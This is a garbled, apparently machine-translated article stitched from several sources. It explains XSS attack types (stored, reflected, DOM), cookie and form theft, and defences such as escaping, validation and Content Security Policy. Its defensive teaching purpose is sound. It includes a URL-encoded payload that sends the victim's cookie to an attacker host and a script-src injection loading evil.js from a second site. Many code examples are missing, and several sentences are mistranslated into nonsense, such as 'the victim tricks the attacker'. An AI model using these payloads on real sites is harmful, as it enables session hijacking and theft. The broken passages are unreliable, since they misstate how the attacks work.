Exploiting XSS vulnerabilities to the maximum. XSS attacks: what are they and why are they dangerous Xss attack training

Using XSS, experienced attackers integrate scripts running on them into the pages of victim sites, which are executed at the time of visiting infected resources. There are several types of XSS vulnerabilities, representing varying degrees of severity.

Features of passive and active vulnerability

You should be most careful with active vulnerabilities. When an attacker injects his SQL code into an accessible database or a file on a server, every visitor to the infected resource can become a victim. Such places are often integrated, so even the data stored in the database processed by your protection can still pose a certain danger.

Creating a passive XSS vulnerability requires some ingenuity from the attacker. Either you are lured to a fake resource with all sorts of links, or they try to redirect you to the required site by any means. This usually happens through letters from the fictitious administration of the page you are visiting, with requests to check your account settings. A variety of spam mailings or posts on widely visited forums are also actively used.

Passive XSS vulnerability can come from both POST and GET parameters. The former are characterized by a number of different tricks, while the latter are encoding the url string or inserting additional values.

Stealing Cookies

Most often, it is your Cookies that are the target of an XSS attack. Sometimes they contain valuable information, including user logins and passwords or their hash. But stealing active sessions of sites that are important to you is also quite dangerous, so do not forget to click on the “exit” button even when visiting sites from home computer. Although most resources to prevent such actions use an automatic session duration limit. Domain restrictions of XMLHttpRequest do not save from such attacks.

Data from fillable forms

Reading information in fillable forms is also popular. To do this, events are monitored on pages of interest (onsubmit), and all data provided is also sent to the attackers' servers. Such attacks are in many ways similar to phishing attacks, but the theft does not take place on a fake, but on a real site with a good reputation.

Distributed DDoS attacks

Multivisited resources are also used for XSS attacks. Thanks to the XSS vulnerability, incoming requests are redirected to the hacked server, as a result of which its protection does not withstand.

Fake cross-site requests (CSRF/XSRF)

They also have little to do with XSS. This is a separate type of vulnerability used in conjunction with XSS. Their goal is to lure an authorized user from an invulnerable site to a dummy vulnerable page for fraudulent operations. For example, a client using an electronic payment system is lured to a vulnerable site that transfers money to the accounts of intruders. Therefore, most payment systems provide protection by additionally entering a password or a code confirming the operation.

Injection of XSS worms

Such an XSS attack on the site appeared with the development of well-known social networks (Vkontakte, Twitter and others). Through them, entire groups of users receive vulnerable XSS links with integrated scripts that send spam over networks on their behalf. It is also widely practiced to copy personal information and photos on the resources of intruders along the way.

Harmless XSS Examples

Note that many types of counters also act as active XSS. From them, data is transmitted about registered visitors (their IP addresses, data on the equipment used).

Only this code is integrated into your computer at your own will. Other similar XSS can be safely attributed to a number of cross-domain AJAX requests.

Cross Site Scripting or XSS. Cross-site scripting (cross-site scripting).

The presence of the Cross-site Scripting vulnerability allows an attacker to send executable code to the server, which will be redirected to the user's browser. This code is usually written in HTML/JavaScript languages, but VBScript, ActiveX, Java, Flash, or other browser-supported technologies can be used.

The passed code is executed in the security context (or security zone) of the vulnerable server. By using these privileges, code is able to read, modify, or transfer sensitive data that is accessible through the browser. The attacked user's account may be compromised (cookie theft), his browser may be redirected to another server, or the contents of the server may be spoofed. As a result of a carefully planned attack, an attacker can use the victim's browser to view the pages of the site on behalf of the attacked user. The code can be passed by an attacker in the URL , in the headers Methods and structure of the HTTP request protocol (Cookie , user-agent, refferer), form field values, etc.

There are three types of cross-site scripting attacks: non-persistent(reflected), persistent(saved) and DOM-based. The main difference between persistent and non-persistent is that in the reflected version, the transfer of code to the server and its return to the client is carried out within one HTTP request, and in stored - in different.

Implementing a non-persistent attack requires the user to follow a link generated by the attacker (the link can be sent via email, ICQ, etc.). During the loading of the site, the code embedded in the URL or request headers will be passed to the client and executed in his browser.

A stored version of the vulnerability occurs when the code is transferred to the server and stored on it for a certain period of time. The most popular targets of attacks in this case are forums, mail with web interface and chats. For an attack, the user does not have to follow the link, it is enough to visit the vulnerable site.

    Example. Saved (persistent) version of the attack. Many sites have message boards and forums that allow users to post. A registered user is usually identified by a number

session stored in a cookie. If an attacker leaves a message containing JavaScript code, he will gain access to the user's session ID. Code example for passing cookies:

    Example. Reflected (non-persistent) version of the attack. Many servers provide users with the ability to search the contents of the server. Typically, the request is passed in a URL and contained in the resulting page.

For example, when accessing the URL http://portal.example/search?q= ”fresh beer”, the user will be shown a page containing the search results and the phrase: “0 pages were found for your query fresh beer”. If Javascript is passed as the search phrase, it will be executed in the user's browser. Example:

http://portal.example/search/?q=

URLEncode encoding can be used to hide script code

http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Flanagan David JavaScript

Excerpt from Flanagan David JavaScript Complete guide 5 edition.

The term cross-site scripting, or XSS, refers to the area of ​​computer vulnerability when an attacker injects HTML tags or scripts into documents on a vulnerable website. Protecting against XSS attacks is common for server-side web developers. However, programmers Developers of client-side JavaScript scripts should also be aware of XSS attacks and take steps to protect against them.

A web page is considered vulnerable to XSS attacks if it dynamically creates document content based on user input that has not passed pre-processing to remove embedded HTML code. As a trivial example, consider the following web page, which uses a JavaScript script to greet a user by name:

The second line of the script calls the window.location.search.substring method, which retrieves the part of the address string that starts with the ? character. Then, the dynamically generated content of the document is added using the document.write() method. This scenario assumes that the web page will be accessed using something like this URL address:

http://www.example.com/greet.html?name=David

In this case, the text "Hello David" will be displayed. But what happens if the page is requested using the following URL:

http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E

With this URL content, the script will dynamically generate another script (the %3C and %3E codes are angle brackets)! IN this case the inserted script will just display a dialog box, which is not dangerous. But imagine this case:

http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

Cross-site scripting is called so because more than one site is involved in the attack. Site B (or even Site C) includes a specially constructed link (similar to the one just shown) to Site A, which contains the script from Site B. The evil.js script is hosted on the attacker's site B, but now the script is injected into Site A and can do whatever it pleases with the content of site A. It can erase a page or cause other disruptions to the site (such as a denial of service, which is discussed in the next section). This may adversely affect visitors to site A. Much more dangerous, such a malicious script could read the contents of cookies stored on site A (possibly containing account numbers or other personal information) and send that data back to site B. The injected script could even track keystrokes and send that data to site B.

The universal way to prevent XSS attacks is to remove HTML tags from all data of dubious provenance before using it to dynamically generate document content. To fix this problem in the greet.html file shown earlier, you need to add next line into a script that is designed to remove the angle brackets surrounding the tag" . Any user visiting the page will now receive the following response:


Last comment:

When the user's browser loads the page, it will execute everything, including the JavaScript contained within the tags. . This indicates that the mere presence of a script being injected by an attacker is a problem, no matter what specific script code is actually being executed.

Part Two: XSS Attack

Participants of the XSS attack

Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, there are three actors in an XSS attack: Web site, victim, And cracker.

  • Web site renders HTML pages for users who request them. In our examples, it is located at http://website/ .
    • Website database is a database that stores some of the data entered by users on the pages of the site.
  • Victim is a regular user of a website who requests pages from it using their browser.
  • Attacking is an attacker who intends to launch an attack on the victim by exploiting an XSS vulnerability on the site.
    • Crack Server is a web server under the control of an attacker with the sole purpose of stealing the victim's confidential information. In our examples, it is located at http://attacker/ .

Attack script example

This script will create an HTTP request to another URL that will redirect the user's browser to the attacker's server. The URL includes the victim's cookie as a request parameter, when an HTTP request arrives at the attacker's server, the attacker can extract these cookies from the request. Once the attacker has obtained the cookies, they can use them to impersonate the victim and launch a subsequent attack.

From now on, the above HTML code will be called malicious string or malicious script. It is important to understand that the string itself is only malicious if it is ultimately rendered as HTML in the victim's browser, which can only happen if there is an XSS vulnerability in the website.

How this attack example works

The diagram below shows an example of an attack by an attacker:

  1. The attacker uses one of the website's forms to insert a malicious string into the website's database.
  2. The victim requests a page from a website.
  3. The site includes a malicious string from the database in the response and sends it to the victim.
  4. The victim's browser executes a malicious script within the response, sending the victim's cookie to the attacker's server.

XSS types

The goal of an XSS attack is always to perform a malicious JavaScript script in the victim's browser. There are several fundamentally different ways to achieve this goal. XSS attacks are often categorized into three types:

  • Stored (persistent) XSS, where the malicious string originates from the website's database.
  • Reflected (non-persistent) XSS, where the malicious string is generated from the victim's request.
  • XSS DOM Models, where the vulnerability occurs in client-side code, not server-side code.

The previous example shows a stored XSS attack. We will now describe two other types of XSS attacks: reflected XSS and DOM XSS attacks.

Reflected XSS

In a reflected XSS attack, the malicious string is part of the victim's request to the website. The site accepts and inserts this malicious string into the response it sends back to the user. The diagram below illustrates this scenario:

  1. The victim tricks the attacker into sending a URL request to a website.
  2. The site includes a malicious string from the URL request in response to the victim.
  3. The victim's browser executes the malicious script contained in the response, sending the victim's cookie to the attacker's server.

How to successfully conduct a reflected XSS attack?

A reflected XSS attack may seem harmless because it requires the victim to submit a request containing the malicious string on their behalf. Since no one will voluntarily attack themselves, there seems to be no way to actually carry out the attack.

As it turns out, there are at least two common ways to get the victim to launch a reflected XSS attack against themselves:

  • If the user is a specific individual, the attacker can send a malicious URL to the victim (for example, via email or messenger) and trick them into opening the link to visit the website.
  • If the target is a large group of users, the attacker can post a link to a malicious URL (for example, on their own website or social network) and wait for visitors who follow the link.

Both of these methods are similar, and both can be more successful with URL shortening services that mask the malicious string from users who might be able to identify it.

XSS in the DOM

XSS in the DOM is a variant of both a stored and reflected XSS attack. In this XSS attack, the malicious string is not processed by the victim's browser until the website's real JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:

  1. The attacker creates a URL containing a malicious string and sends it to the victim.
  2. The victim tricks the attacker into sending a URL request to a website.
  3. The site accepts the request but does not include the malicious string in the response.
  4. The victim's browser executes the legitimate script contained in the response, causing the malicious script to be inserted into the page.
  5. The victim's browser executes the malicious script inserted into the page, sending the victim's cookie to the attacker's server.
What is the difference between XSS in the DOM model?

In the previous examples of stored and reflected XSS attacks, the server inserts a malicious script into a page, which is then sent in response to the victim. When the victim's browser receives a response, it assumes that the malicious script is part of the page's legitimate content and automatically executes it during page load, just like any other script.

In the DOM XSS attack example, the malicious script is not inserted as part of the page; the only script that is automatically executed during page load is the legitimate part of the page. The problem is that this legitimate script directly uses user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML , it is parsed as HTML, causing the malicious script to be executed.

This difference is small, but very important:

  • In traditional XSS, malicious JavaScript is executed when the page loads, as part of the HTML sent by the server.
  • In the case of XSS in the DOM, malicious JavaScript is executed after the page is loaded, resulting in that page with legitimate JavaScript accessing user input (containing the malicious string) in an insecure way.
How does XSS work in the DOM?

In the previous example, there is no need for JavaScript; the server can generate all the HTML by itself. If the server-side code did not contain vulnerabilities, the website would not be affected by the XSS vulnerability.

However, as web applications become more advanced, more and more HTML pages are generated with JavaScript on the client side rather than on the server side. At any time, the content should change without refreshing the entire page, this is possible with using JavaScript. In particular, this is the case when the page is refreshed after an AJAX request.

This means that XSS vulnerabilities can be present not only in the server side of your site code, but also on the side of your site's client JavaScript code. Therefore, even with completely secure server-side code, client code may still not safely include user input when updating the DOM after the page has loaded. If this happens, then the client-side code will allow an XSS attack through no fault of the server-side code.

DOM-based XSS may not be visible to the server

There is a special case of an XSS attack in the DOM in which the malicious string is never sent to the website server: this happens when the malicious string is contained in a fragment of a URL identifier (anything after the # symbol). Browsers don't send this part of the URL to the server, so the website can't access it with server-side code. Client-side code, however, has access to it, and thus an XSS attack through insecure processing is possible.

This case is not limited to fragment ID. There is other user input that is invisible to the server, such as new HTML5 features such as LocalStorage and IndexedDB.

Part three:
XSS Prevention

XSS Prevention Methods

Recall that XSS is a code injection attack: user input is mistakenly interpreted as malicious code. Safe input handling is required to prevent this type of code injection. For a web developer, there are two fundamental various ways perform secure input processing:

  • Coding is a method that allows user input to be processed only as data and does not allow the browser to process it as code.
  • Validation is a way to filter user input so that the browser interprets it as code without malicious commands.

Although it is fundamental different methods preventing XSS, they share a few things in common that are important to understand when using either of them:

Context Safe input handling should be done differently depending on where on the page user input is used. inbound/outbound Secure input handling can be done either when your site receives input ( incoming traffic) or right before the site inserts user input into the page content (outbound). Client/Server Secure input processing can be done either on the client side or on the server side, each option being needed under different circumstances.

Before explaining in detail how encoding and validation works, we will describe each of these points.

Handling User Input in Contexts

There are many contexts on a web page where user input can be applied. For each of them, special rules must be followed so that user input cannot “break out” of its context and be interpreted as malicious code. The following are the most common contexts:

What is the meaning of contexts?

In all of the contexts described, an XSS vulnerability can occur if user input was inserted prior to the first encoding or validation. An attacker can inject malicious code simply by inserting a closing delimiter for this context followed by malicious code.

For example, if at some point a website includes user input directly in an HTML attribute, an attacker could inject malicious script by starting their input with a quote, as shown below:

This could have been prevented by simply removing all quotes in the user input and everything would be fine, but only in this context. If the input was inserted in a different context, the closing delimiter will be different and injection will be possible. For this reason, safe input handling must always be adapted to the context where user input will be inserted.

Handling incoming/outgoing user input

Instinctively, it would seem that XSS could be prevented by encoding or validating all user input as soon as our site receives it. This way, any malicious strings will already be neutralized whenever they are included in the page, and the HTML generation scripts won't have to worry about handling user input safely.

The problem is that, as described earlier, user input can be inserted into multiple contexts on the page. And there is no easy way to determine when user input comes into a context - how it will eventually be inserted, and the same user input often needs to be inserted in different contexts. By relying on handling incoming input to prevent XSS, we are creating a very brittle solution that will be prone to errors. (The deprecated PHP "magic quotes" are an example of such a solution.)

Instead, outbound input handling should be your main line of defense against XSS because it can take into account the specific context of what user input will be inserted. To some extent, inbound validation can be used to add a secondary layer of protection, but more on that later.

Where it is possible to handle user input securely

In most modern web applications, user input is processed both on the server side and on the client side. In order to protect against all types of XSS, secure input handling must be done in both server-side code and client-side code.

  • In order to protect against traditional XSS, secure input handling must be done in server-side code. This is done using some language supported by the server.
  • In order to protect against an XSS attack in the DOM, where the server never receives a malicious string (for example, the identifier fragment attack described earlier), secure input handling must be done in client-side code. This is done with JavaScript.

Now that we have explained why context matters, why the distinction between incoming and outgoing input processing is important, and why secure input processing must be done on both sides, both on the client side and on the server side, we can continue to explain, how the two types of secure input processing (encoding and validation) are actually performed.

Coding

Encoding is a way out of a situation where it is necessary for the browser to interpret user input only as data, not code. The most popular type of encoding in web development is HTML escapement, which converts characters such as < And > in < And > respectively.

The following pseudocode is an example of how user input (user input) can be encoded with using HTML masking and then inserted into the page using a server-side script:

print" "
print "Last comment: "
print encodeHtml(userInput)
print""

If the user enters the following line, the resulting HTML will look like this:


Last comment:

Because all characters with a special meaning have been escaped, the browser will not parse any part of the user input like HTML.

Client and server side coding

When doing client-side coding, always use JavaScript language, which has built-in functions that encode data for different contexts.

When doing coding in your server side code, you are relying on features available in your language or framework. Because of a large number languages ​​and available frameworks, given tutorial will not cover the details of coding in any particular server language or framework. However, the JavaScript encoding features used on the client side are also used when writing server side code.

Client side coding

When encoding client-side user input with JavaScript, there are several built-in methods and properties that automatically encode all data in a context-sensitive style:

The last context mentioned above (values ​​in JavaScript) is not included in this list because JavaScript does not provide a built-in way to encode data that will be included in the JavaScript source code.

Coding restrictions

Even when encoding, it is possible to use malicious strings in some contexts. A prime example of this is when user input is used to provide a URL, such as in the example below:

document.querySelector("a").href = userInput

Although the specified value in the element's href property automatically encodes it so that it becomes nothing more than the value of the attribute, this alone does not prevent an attacker from inserting a URL beginning with "javascript:". When the link is clicked, regardless of construction, the embedded JavaScript inside the URL will be executed.

Encoding is also not an efficient solution when you want users to be able to use part of the HTML codes on the page. An example would be a user profile page where the user can use custom HTML. If this plain HTML is encoded, the profile page can only consist of plain text.

In situations like this, coding must be complemented by validation, which we'll look at next.

Validation

Validation is the act of filtering user input so that all malicious parts of it are removed without having to remove all of the code in it. One of the most used types of validation in web development allows you to use some HTML elements (for example, And ) but banning others (for example,

With a properly defined CSP policy, the browser cannot load and execute malicious‑script.js because http://attacker/ is not listed as a trusted source. Even though the site was unable to reliably process user input, in this case, the CSP policy prevented the vulnerability from causing any harm.

Even if the attacker injected the code inside the script code, and not a link to external file, a properly configured CSP policy will also prevent injection into JavaScript code, preventing the vulnerability and causing any harm.

How to enable CSP?

By default, browsers do not use CSP. In order to enable SCP on your website, pages must contain an additional HTTP header: Content‑Security‑Policy . Any page containing this header will enforce security policies when loaded by the browser, provided the browser supports CSP.

Since the security policy is sent with every HTTP response, it is possible for the server to individually set the policy for each page. The same policy can be applied to the entire website by inserting the same CSP header in every response.

The value in the Content‑Security‑Policy header contains a string that specifies one or more security policies that will work on your site. The syntax of this line will be described next.

The heading examples in this section use line breaks and indentation for ease of reading; they should not be present in the real header.

CSP Syntax

The CSP header syntax is as follows:

Content‑Security‑Policy:
directive source-expression, source-expression, ...;
directive ...;
...

This syntax consists of two elements:

  • Directives which are strings indicating the type of resource taken from the given list.
  • Source expressions is a model that describes one or more servers from which resources can be downloaded.

For each directive, the data in the source expression determines which sources can be used to load resources of that type.

directives

The following directives can be used in the CSP header:

  • connect-src
  • font-src
  • frame‑src
  • img‑src
  • media-src
  • object-src
  • script-src
  • style-src

In addition to this, the special default-src directive can be used to provide a default value for all directives that were not included in the header.

Source expression

The syntax for creating a source expression is as follows:

protocol:// host-name: port-number

The hostname can start with * , which means that any subdomain of the provided hostname will be allowed. Similarly, a port number can be represented as * , which means that all ports will be allowed. In addition, the protocol and port number may be omitted. In case no protocol is specified, the policy will require all resources to be loaded using HTTPS.

In addition to the above syntax, the source expression can alternatively be one of four keywords with special meaning (quotes included):

"none" disables resources. "self" resolves resources from the host where the web page resides. "unsafe‑inline" allows resources contained on the page to be inline